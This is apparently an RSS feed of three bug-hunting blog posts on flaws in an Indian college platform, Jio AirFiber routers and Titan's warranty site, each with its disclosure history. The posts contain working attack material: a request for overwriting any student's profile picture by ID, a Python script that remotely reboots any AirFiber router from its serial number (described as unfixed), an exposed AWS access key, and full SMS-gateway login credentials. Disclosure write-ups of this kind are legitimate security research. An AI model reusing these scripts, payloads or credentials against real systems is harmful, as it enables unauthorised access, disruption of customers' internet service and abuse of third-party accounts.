<p>Of course my curious mind wanted to explore this platform, and I was fiddling around with it one day and I noticed a disabled section/page, the profile editing page.</p>
<p>Clicking on that button would trigger a request to the server, to check if the user was allowed to modify(change their profile picture, nothing fancy).<br />I quickly fired up BurpSuite and intercepted the request, and swapped its response to true from false, and it opened up a Modal to upload/change my profile picture.  </p>
<p>Interesting, Right? Yeah. I also noticed a few other requests that went through BurpSuite to this unique endpoint `<a target="_blank" href="https://kec.linways.com/common/api/v1/s3/get-s3-conf">https://kec.linways.com/common/api/v1/s3/get-s3-conf</a>` and it caught my eye.</p>
<pre><code class="lang-json">{
<span class="hljs-attr">"success"</span>: <span class="hljs-literal">true</span>,
<span class="hljs-attr">"data"</span>: {
<span class="hljs-attr">"serverProtocol"</span>: <span class="hljs-string">"https"</span>,
<span class="hljs-attr">"s3Folder"</span>: <span class="hljs-string">"course_materials"</span>,
<span class="hljs-attr">"sizeLimit"</span>: <span class="hljs-string">"524288000"</span>,
<span class="hljs-attr">"bucketName"</span>: <span class="hljs-string">"amsfilestore"</span>,
<span class="hljs-attr">"accessKey"</span>: <span class="hljs-string">"AKIAX2B3ZDTX7AFQ5ENC"</span>,
<span class="hljs-attr">"secretKey"</span>: <span class="hljs-string">"THQynUL7L+GbS/+u3s5SIL0LhdQC/CENSORED"</span>,
<span class="hljs-attr">"region"</span>: <span class="hljs-string">"ap-south-1"</span>,
<span class="hljs-attr">"collegeCode"</span>: <span class="hljs-string">"KEC"</span>
}
}
</code></pre>
<p>Woah woah, what is that?<br />The response contained bucketName, accessKey, secretKey, region of the S3 bucket which the profile pics are being uploaded to.</p>
<p>Wow, I hit a jackpot. I tried the credentials and of course it worked, and funny enough it was a centralized bucket for all colleges, it had a lot of other college codenames(like KEC) and seemed to contain upload data(probably sensitive documents)</p>
<p>This got me hooked, I was damn sure this platform was vulnerable in 100 other ways because who the fuck sends the secretKey to the client and trusts the browser to upload the files.</p>
<p>I started digging around, and I figured out that I can update anyone’s profile picture with just their studentId(not random, just incremented by 1 for each student).</p>
<p>Gameplan is, you upload a picture to the S3 bucket, then send this payload to this URL.</p>
<pre><code class="lang-http"><span class="hljs-attribute">POST https://kec.linways.com/student/student_details/ajax/ajax_student_list.php
Data:
fileInfo[name]=favi.png
fileInfo[key]=/2025/xyz.png
fileInfo[bucket]=amsfilestore
studentId=9154 ##modify this for each request and you can update anyone's picture
action=UPLOAD_STUDENT_PROFILE_IMG</span>
</code></pre>
<p>And additionally, there’s no sanitization on fileInfo[key], which possibly leads to stored XSS.</p>
<p>Then I tried a few random urls, like <code>https://kec.linways.com/academics/api/v1/student/get-student-basic-details?studentId=9170</code> and boom, I was able to get anyone’s data in my college(Name, Dept, Email and Batch ID)</p>
<p>A few more URLs were affected too, ones involving attendance.</p>
<p>At that point, I was pretty sure that the server was trusting the client blindly. Classic IDOR.</p>
<p>Extremely funny, but I went ahead and sent a report to security@linways.com, and I was declined a bounty just because I reported as an Individual.<br />Their exact words were, “we are currently adopting a team-based recognition approach rather than individual bounties.“</p>
<p>Reflecting on this experience, it's clear that curiosity and a keen eye for detail can uncover significant vulnerabilities in digital platforms. While the journey began with a simple exploration of an academic management system, it quickly escalated into discovering critical security flaws that could have had far-reaching implications. This incident underscores the importance of robust security measures and the need for organizations to be transparent and responsive when vulnerabilities are reported. Although the response from Linways was not as rewarding as expected, the offer of a paid internship indicates a recognition of the skills demonstrated. This experience serves as a reminder of the ethical responsibilities that come with hacking and the potential for positive outcomes when vulnerabilities are responsibly disclosed.</p>
<p>Public transparency log:</p>
<p><em>Initial report sent via email on May 15, 2025</em><br /><em>Report acknowledged by team on May 16, 2025</em><br /><em>I acknowledge the reply on May 16, 2025</em><br /><em>Follow up email regarding the bounty on May 22, 2025</em><br /><em>Bounty rejected and Paid Internship offered on May 23, 2025</em><br /><em>I ask permission to publish my blog/transparency report on Jun 8, 2025</em><br /><em>Team replies requesting some more time as they handle a few internal cases on Jun 13, 2025</em><br /><em>Follow up on Jul 16, 2025</em><br /><em>Follow up on Aug 20, 2025</em><br /><em>No replies were received, and it looks the bugs were fixed, hence I’ve published it on September 9</em></p>
]]></content:encoded></item><item><title><![CDATA[How I rebooted my friend's Jio Airfiber Router remotely]]></title><description><![CDATA[this vulnerability was reported and Jio refused to acknowledge and claimed it wasn't their domain, hence a few urls/credentials/tokens might be redacted.
I had Jio's AirFiber connection setup around S]]></description><link>https://v4.ax/how-i-rebooted-my-friends-jio-airfiber-router-remotely</link><guid isPermaLink="true">https://v4.ax/how-i-rebooted-my-friends-jio-airfiber-router-remotely</guid><category><![CDATA[airfiber]]></category><category><![CDATA[mitmprox]]></category><category><![CDATA[jio]]></category><category><![CDATA[OpenWRT]]></category><dc:creator><![CDATA[Soundarahari P]]></dc:creator><pubDate>Tue, 15 Jul 2025 18:30:00 GMT</pubDate><content:encoded><![CDATA[<p><em>this vulnerability was reported and Jio refused to acknowledge and claimed it wasn't their domain, hence a few urls/credentials/tokens might be redacted.</em></p>
<p>I had Jio's AirFiber connection setup around September 2024 and was enjoying it(whoops, my previous FTTH provider had a lot of downtimes).</p>
<p>As a curious idiot of course I started messing around, and I eventually gained root access to the router and had my own fun around(with the help from a few friends at JFC-Group)</p>
<p>Turns out Jio had JioFieldDiagnostics app(now defunct), which was actively used by Jio Field Engineers to deploy the Outdoor Unit to deploy e-sim.</p>
<p>i tried installing the app on my phone and I went to "Scan QR Code" page without any logins, and I tried scanning the QR code which was present in the back side of Indoor Unit(the router)</p>
<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/276fb86a-de2c-43c8-b534-7072a5e823d1.png" alt="" style="display:block;margin:0 auto" />

<p>Voila! I had the option to open JioHome from the JFD app.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/e5618c4d-1c02-41b3-8821-4015d8d71de1.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/ddd02189-de12-4f09-8e3a-22e23da0526d.png" alt="" style="display:block;margin:0 auto" />

<p>Connect to ODCPE option always failed for me, looks like it had some Bluetooth Auth mechanism built in and I wasn't too interested in that either.</p>
<p>I clicked on the Cable Diagnostic Tests and it opened up a different page.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/3dc419d4-06bb-48eb-afa9-9613036ca8d4.png" alt="" style="display:block;margin:0 auto" />

<p>The refresh like looking button looked interesting, gave it a click and my router started rebooting itself. That caught my attention and I started trying out my methods.</p>
<p>My initial starting point was to figure out what was present in the QR Code.</p>
<p>QR DATA:</p>
<p><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</code><br /><code>&lt;!--Document created by: RJIL</code> <a href="http://jio.com"><code>http://jio.com</code></a> <code>--&gt;</code><br /><code>&lt;MFRNAME&gt;Telpa&lt;/MFRNAME&gt;</code><br /><code>&lt;MODELNO&gt;JIDU6801&lt;/MODELNO&gt;</code><br /><code>&lt;SRNO&gt;RTHHGXXXXXXXX&lt;/SRNO&gt;</code><br /><code>&lt;EAN&gt;86990XXXXXXX&lt;/EAN&gt;</code><br /><code>&lt;MACID&gt;4C82XXXXXXXX&lt;/MACID&gt;</code><br /><code>&lt;SSID&gt;AirFiber-Gang5y&lt;/SSID&gt;</code><br /><code>&lt;PWD&gt;phae1toXXXXXXXXXXX&lt;/PWD&gt;</code></p>
<p>I tried incrementing the SRNO variable and tried scanning again, and it once again presented me with some data and it rebooted successfully. WOW.</p>
<p>I asked a few friends around for their SRNO/RSN and tried, and I was able to reboot them remotely.(It was fun, trust me :)  )</p>
<p>i thought I should dig in deeper, so I fired up mitmproxy and connected my phone over Wireguard and I started monitoring requests.</p>
<p>So each time I fire up the app, it makes request to "<a href="https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login">https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login</a>" and obtains an Authorization Bearer token, then proceeds to send requests to <a href="https://piranha.aps1.prod.rho.jiohs.net/api/nodes/RSN">https://piranha.aps1.prod.rho.jiohs.net/api/nodes/RSN</a> to get some data and then finally send a reboot request via "<a href="https://piranha.aps1.prod.rho.jiohs.net/api//Customers/">https://piranha.aps1.prod.rho.jiohs.net/api//Customers/</a>{customer_id}/locations/{location_id}/nodes/{node_id}/reboot?&amp;access_token={access_token}"</p>
<p>I did not take any screenshots while mitm'ing their app, sorry :(</p>
<p>I quickly wrote a python script, so that I can just supply the RSN/SRNO and have any AirFiber device rebooted.</p>
<p>I have censored credentials that was used to authenticate to the login endpoint(It was hardcoded in their JFD App. LOL)</p>
<pre><code class="language-plaintext">import requests
import json


def login(email, password):
    url = "https://piranha.aps1.prod.rho.jiohs.net/api/Customers/login"
    headers = {
        'content-type': 'application/json',
        'user-agent': 'okhttp/5.0.0-alpha.11'
    }
    data = json.dumps({
        "email": email,
        "password": password
    })
    response = requests.post(url, headers=headers, data=data)
    response.raise_for_status()
    return response.json()


def get_node_details(node_id, access_token):
    url = f"https://piranha.aps1.prod.rho.jiohs.net/api/nodes/{node_id}"
    headers = {
        'Authorization': f'{access_token}'
    }
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response.json()




def reboot_node(access_token, customer_id, location_id, node_id, delay=5):
    url = f"https://piranha.aps1.prod.rho.jiohs.net/api//Customers/{customer_id}/locations/{location_id}/nodes/{node_id}/reboot?&amp;access_token={access_token}"
    headers = {
        'accept': 'application/json',
        'content-type': 'application/x-www-form-urlencoded',
        'user-agent': 'okhttp/5.0.0-alpha.11'
    }
    data = f"delay={delay}"
    response = requests.put(url, headers=headers, data=data)




def main():
    email = "XXXX@jio.com"
    password = "XXXXXXXXXXXXXXXX"
    node_id = input("Enter the RSN (node ID): ")
    login_response = login(email, password)
    access_token = login_response["id"]
    user_id = login_response["userId"]
    node_details = get_node_details(node_id, access_token)
    customer_id = node_details["customerId"]
    location_id = node_details["locationId"]
    reboot_response = reboot_node(access_token, customer_id, location_id, node_id)
    print("IDU Rebooted :)")


if __name__ == "__main__":
    main()
</code></pre>
<p>I sent over the report, they asked for a more detailed one with more steps and I did too.</p>
<p>At the end they closed it with,</p>
<p><code>Dear Security Researcher,</code></p>
<p><code>This domain does not belong to us , it's an out of scope bug so we are closing this as false positive.</code></p>
<p><code>Regards,</code></p>
<p><code>Jio Bugs Reporting Team</code></p>
<p>I guess, jiohs.net might be Plume's, but the hardcoded credentials present in the app was funny to me.</p>
<p>Disclosure: No bug bounty was awarded.</p>
<p>This vulnerability is still to be fixed, but since Jio has marked it as "Out of Scope" I decided to publish this in my blog.</p>
<p>If anyone from JIo wants to contact me regarding the above, they can do so at, administrator @ soundar dot net.</p>
<p>Thank you for reading! :)</p>
]]></content:encoded></item><item><title><![CDATA[How I exposed a critical vulnerability in Titan's SMS Integration]]></title><description><![CDATA[this vulnerability was reported on august of 2023, and was promptly fixed by Titan.
It was one fine evening and I was sipping coffee. I noticed that I had an unregistered Titan watch lying around and ]]></description><link>https://v4.ax/how-i-exposed-a-critical-vulnerability-in-titans-sms-integration</link><guid isPermaLink="true">https://v4.ax/how-i-exposed-a-critical-vulnerability-in-titans-sms-integration</guid><category><![CDATA[smsjust]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[Titan]]></category><dc:creator><![CDATA[Soundarahari P]]></dc:creator><pubDate>Thu, 05 Jun 2025 18:30:00 GMT</pubDate><content:encoded><![CDATA[<p><em>this vulnerability was reported on august of 2023, and was promptly fixed by Titan.</em></p>
<p>It was one fine evening and I was sipping coffee. I noticed that I had an unregistered Titan watch lying around and I decided to register it so that I could claim warranty.</p>
<p>Looked it up and <a href="https://uidreg.titan.in">https://uidreg.titan.in</a> popped up offering one extra year of warranty registered. Hell Yeah, who misses one free year of warranty.</p>
<p>The site loaded very slow, like it was the 2000's, and it eventually loaded and looked very old.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/6015acf6-875a-4001-bad1-6235de871e24.png" alt="" style="display:block;margin:0 auto" />

<p>The Signup/Register as customer process required a phone number and while typing my phone number out, I made a mistake and only typed out 9 digits.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5ff2dec3638f6a0ef52a5c0b/2f2ad07c-1ff4-4543-a652-cd3fe1b966d5.png" alt="" style="display:block;margin:0 auto" />

<p>I noticed a weird URL and a JSON message pop up, and I was interested and curious to dig in further.</p>
<p>I tried sending a POST request to this endpoint, and voila! we got treasure.</p>
<p><code>curl 'https://uidreg.titan.in/ajax.php?action=otp-mobile' \</code><br /><code>-X POST \</code><br /><code>--data-raw 'mobile-no-dup=12345&amp;email-no-dup=&amp;country-code-dup=&amp;stime=1692202652'</code></p>
<p>The server replied with,</p>
<pre><code class="language-plaintext">https://www.smsjust.com/sms/user/urlsms.php?username=titansonnet&amp;pass=kap@user!123&amp;senderid=TITANS&amp;dest_mobileno=919842636690&amp;message=128412%20is%20the%20OTP%20for%20Titan%20online%20product%20registration.%20OTP%20is%20valid%20for%2002%20Minutes%20%20%20%20%20%20%20%20%20%20%20%20%20Regards%20TITAN%20COMPANY%20LIMITED&amp;response=Y4095484937-2023_08_16{"status":"unsuccess"}"
</code></pre>
<p>Wow we just got a bunch of information,</p>
<p>We got the username and password for the smsjust platform and... the OTP itself? LOL.</p>
<p>I tried the credentials <code>titansonnet:kap@user!123</code> on <a href="https://smsjust.com/blank/login.php">https://smsjust.com/blank/login.php</a> and it worked! Tada!</p>
<p>I was able to login, I tried sending a few test messages to my number and it worked!</p>
<p>So to summarize,</p>
<p>The urlsms.php didn't sanitize the inputs and threw API URL's containing sensitive credentials.</p>
<p>Finding this was fun, I wrote a vulnerability disclose report to Titan on August 16, 2023.</p>
<p>Got no replies, and the vulnerability was patched on August 26, 2023.</p>
<p>No bounty nor any replies were sent.</p>
<p>Thank you for reading the shittiest blog post in history, I'll improvise and post more of my previous findings.</p>
]]></content:encoded></item></channel></rss>